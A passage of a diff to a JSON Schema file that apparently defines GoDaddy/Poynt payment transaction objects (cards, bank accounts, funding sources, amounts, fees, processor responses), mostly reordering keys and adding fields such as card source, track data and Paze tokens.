"maxLength": 256, + "type": "string" }, "cardId": { - "type": "string", - "description": "The uuid of the card created" + "description": "The uuid of the card created", + "type": "string" }, "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" }, "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" }, "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" }, "id": { - "type": "integer", - "description": "The id of the card created." + "description": "The id of the card created.", + "type": "integer" }, "issuer": { "type": "string" }, "key": { "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", "items": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } - } + }, + "type": "object" + }, + "type": "array" }, "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" }, "numberHashed": { "type": "string" }, "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" }, "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -6368,41 +6249,127 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] + ], + "type": "string" } - } + }, + "type": "object" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" } }, "required": [ "type", "number", "source" - ] + ], + "title": "Card Detail", + "type": "object" + }, + "token": { + "description": "Paze payment token", + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + }, + "x-sensitivity": { + "classification": "restricted" + } } - } + }, + "title": "Paze payment Token", + "type": "object" }, { - "$id": "https://poynt.godaddy.com/schemas/funding-source/bank-account.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "title": "Bank Account", "$defs": { - "BankAccountType": { - "type": "string", - "enum": [ - "CHECKING", - "SAVINGS" - ] - }, "BankAccountHolderType": { - "type": "string", "enum": [ "PERSONAL", "BUSINESS" - ] + ], + "type": "string" + }, + "BankAccountType": { + "enum": [ + "CHECKING", + "SAVINGS" + ], + "type": "string" } }, - "type": "object", + "$id": "https://poynt.godaddy.com/schemas/funding-source/bank-account.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "description": "This object represents BankAccount.", "properties": { + "accountHolderType": { + "enum": [ + "PERSONAL", + "BUSINESS" + ], + "type": "string" + }, "accountNumber": { "type": "string" }, @@ -6410,12 +6377,11 @@ "type": "string" }, "accountType": { - "description": "Enum: CHECKING, SAVINGS.", - "type": "string", "enum": [ "CHECKING", "SAVINGS" - ] + ], + "type": "string" }, "bankName": { "type": "string" @@ -6427,1762 +6393,879 @@ "type": "string" }, "ownerName": { - "type": "string", - "description": "The owner name of bank account." + "description": "The owner name of bank account.", + "type": "string" }, "routingNumber": { "type": "string" - }, - "accountHolderType": { - "description": "Enum: PERSONAL, BUSINESS.", - "type": "string", - "enum": [ - "PERSONAL", - "BUSINESS" - ] } }, - "description": "This object represents BankAccount." + "title": "Bank Account", + "type": "object" }, { "$id": "https://poynt.godaddy.com/schemas/funding-source/custom-funding-source.v2", "$schema": "https://json-schema.org/draft/2019-09/schema", - "title": "Custom Funding source", "description": "Funding source that can be processed using a specific provider and / or processor", - "type": "object", "properties": { - "provider": { - "type": "string", - "description": "Provider that can handle the funding source", - "maxLength": 64 - }, - "processor": { - "type": "string", - "description": "Processor to be used for the funding source", - "maxLength": 64 - }, "customFundingType": { - "type": "string", "description": "Type of the custom funding source", - "maxLength": 64 + "maxLength": 64, + "type": "string" + }, + "description": { + "description": "Description about the funding source", + "maxLength": 512, + "type": "string" }, "name": { - "type": "string", "description": "Display name of the funding source", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, - "description": { - "type": "string", - "description": "Description about the funding source", - "maxLength": 512 + "processor": { + "description": "Processor to be used for the funding source", + "maxLength": 64, + "type": "string" + }, + "provider": { + "description": "Provider that can handle the funding source", + "maxLength": 64, + "type": "string" } }, "required": [ "customFundingType", "provider" - ] + ], + "title": "Custom Funding source", + "type": "object" }, { "$id": "https://poynt.godaddy.com/schemas/funding-source/cash.v2", "$schema": "https://json-schema.org/draft/2019-09/schema", - "title": "Cash Funding Source", - "type": "object", + "description": "Cash funding source", "properties": null, - "description": "Cash funding source" + "title": "Cash Funding Source", + "type": "object" } ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GoDaddyPaymentToken.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAZE": "../payment-token/PazePaymentToken.yaml", - "BANK_ACCOUNT": "./BankAccount.yaml", - "CUSTOM": "./CustomFundingSource.yaml", - "CASH": "./Cash.yaml" - } - }, "properties": { "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" + "description": "Discriminator field representing the type of Funding source", + "type": "string" } }, "required": [ "sourceType" - ] - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" ], - "description": "Transaction status" + "title": "Funding Source", + "type": "object" }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "description": "Simple amount used for processing transaction", + "legacyMetadata": { + "$defs": { + "LegacyAdjustmentRecord": { + "description": "This object shows a summary of the adjustment.", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Transaction amount" - }, - "currency": { - "description": "Transaction currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "amountChanges": { + "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "description": "Itemized amount details used for processing transaction", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" + "description": "Transaction amount details", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "description": "Fee associated with transaction", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", - "description": "Simple fee associated with transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple amount used for processing transaction", + "properties": { + "amount": { + "description": "Transaction amount", + "format": "int64", + "type": "integer" }, - "required": [ - "amount", - "type" - ] + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", - "description": "Governed fee associated with transaction", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "programType": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "type": { - "type": "string", - "example": "FIXED", - "description": "How the fee should be appliedbinary", - "enum": [ - "FIXED", - "HYBRID", - "PERCENTAGE" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - } - }, - "required": [ - "amount", - "programType", - "type" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - }, - "required": [ - "amountType" - ] - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "voidableUntil": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Time in RFC 3339 format by which this transaction can be voided.", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-context.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Context", - "type": "object", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Processor Response", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + { + "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", + "description": "Itemized amount details used for processing transaction", "properties": { - "actualResult": { - "type": "string" + "cashback": { + "description": "Cashback details", + "format": "int64", + "type": "integer" }, - "addressResult": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "x-currency-type": true, + "x-custom-type": true }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Fee associated with transaction", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "Simple Fee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Governed fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "programType": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + } + }, + "type": { + "description": "How the fee should be appliedbinary", + "enum": [ + "FIXED", + "HYBRID", + "PERCENTAGE" + ], + "example": "FIXED", + "type": "string" + } + }, + "required": [ + "amount", + "programType", + "type" + ], + "title": "Governed Fee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "tip": { + "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "required": [ + "amountType" + ], + "title": "Amount", + "type": "object" + }, + "amounts": { + "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction amount details", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" }, - "LegacyProviderVerification": { - "type": "object", + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple amount used for processing transaction", "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." + "amount": { + "description": "Transaction amount", + "format": "int64", + "type": "integer" }, - "signature": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "Base64 encoded signature of the transactions." + "x-currency-type": true, + "x-custom-type": true } }, - "description": "Provider verification fields." + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", + { + "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Itemized amount details used for processing transaction", "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "cashback": { + "description": "Cashback details", + "format": "int64", + "type": "integer" }, - "cardHolderNameResult": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": 